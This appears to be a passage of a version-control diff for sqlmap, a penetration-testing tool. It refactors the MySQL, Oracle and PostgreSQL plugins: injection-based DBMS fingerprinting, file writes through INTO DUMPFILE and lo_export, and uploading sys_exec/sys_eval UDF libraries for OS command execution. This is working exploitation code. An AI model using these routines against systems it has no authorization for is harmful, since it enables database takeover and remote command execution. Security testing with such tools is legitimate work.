||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
@@ -130,7 +131,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def __commentCheck(self):
|
||||
infoMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(infoMsg)
|
||||
@@ -140,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "unable to perform MySQL comment injection"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated on 05/2009
|
||||
# MySQL valid versions updated on 12/2009
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50077), # MySQL 5.0
|
||||
(50100, 50134), # MySQL 5.1
|
||||
(50000, 50089), # MySQL 5.0
|
||||
(50100, 50141), # MySQL 5.1
|
||||
(50400, 50401), # MySQL 5.4
|
||||
(60000, 60010), # MySQL 6.0
|
||||
)
|
||||
@@ -169,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
if not prevVer:
|
||||
prevVer = version
|
||||
|
||||
@@ -186,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
@@ -231,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
"""
|
||||
References for fingerprint:
|
||||
@@ -260,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
infoMsg = "confirming MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -347,7 +345,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os:
|
||||
return
|
||||
@@ -368,14 +365,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
@@ -384,7 +375,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
@@ -426,7 +416,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
|
||||
@@ -454,10 +443,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
debugMsg = "creating a support table to write the hexadecimal "
|
||||
debugMsg += "encoded file to"
|
||||
@@ -483,122 +471,92 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
libExt = "so"
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir is None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
@@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Oracle methods
|
||||
"""
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
||||
|
||||
@@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
unescaper.setUnescape(OracleMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression, quote=True):
|
||||
if quote:
|
||||
@@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
@@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
@@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in ORACLE_ALIASES:
|
||||
setDbms("Oracle")
|
||||
@@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
logMsg = "confirming Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "the back-end DMBS is not Oracle"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
if conf.db:
|
||||
conf.db = conf.db.upper()
|
||||
@@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
if conf.tbl:
|
||||
conf.tbl = conf.tbl.upper()
|
||||
|
||||
|
||||
def getDbs(self):
|
||||
warnMsg = "on Oracle it is not possible to enumerate databases"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
errMsg = "File system read access not yet implemented for "
|
||||
errMsg += "Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||
errMsg = "File system write access not yet implemented for "
|
||||
errMsg += "Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osCmd(self):
|
||||
errMsg = "Operating system command execution functionality not "
|
||||
errMsg += "yet implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "Operating system shell functionality not yet "
|
||||
errMsg += "implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "Operating system out-of-band control functionality "
|
||||
errMsg += "not yet implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "One click operating system out-of-band control "
|
||||
errMsg += "functionality not yet implemented for Oracle"
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
@@ -34,7 +32,6 @@ from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -63,6 +60,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -70,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression, quote=True):
|
||||
if quote:
|
||||
@@ -102,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
@@ -127,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
@@ -163,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
"""
|
||||
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
|
||||
@@ -185,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
infoMsg = "confirming PostgreSQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -244,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os:
|
||||
return
|
||||
@@ -252,15 +259,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
osWindows = ( " Visual C++", "mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
@@ -269,20 +276,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
break
|
||||
|
||||
if kb.os == None:
|
||||
if kb.os is None:
|
||||
kb.os = "Linux"
|
||||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||
conf.db = "public"
|
||||
@@ -293,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
warnMsg += "database name"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||
errMsg += "query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||
warnMsg += "if the requested file is binary, its content will not "
|
||||
@@ -336,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||
errMsg += "query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
|
||||
@@ -408,21 +405,51 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
def udfInit(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
@@ -430,73 +457,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
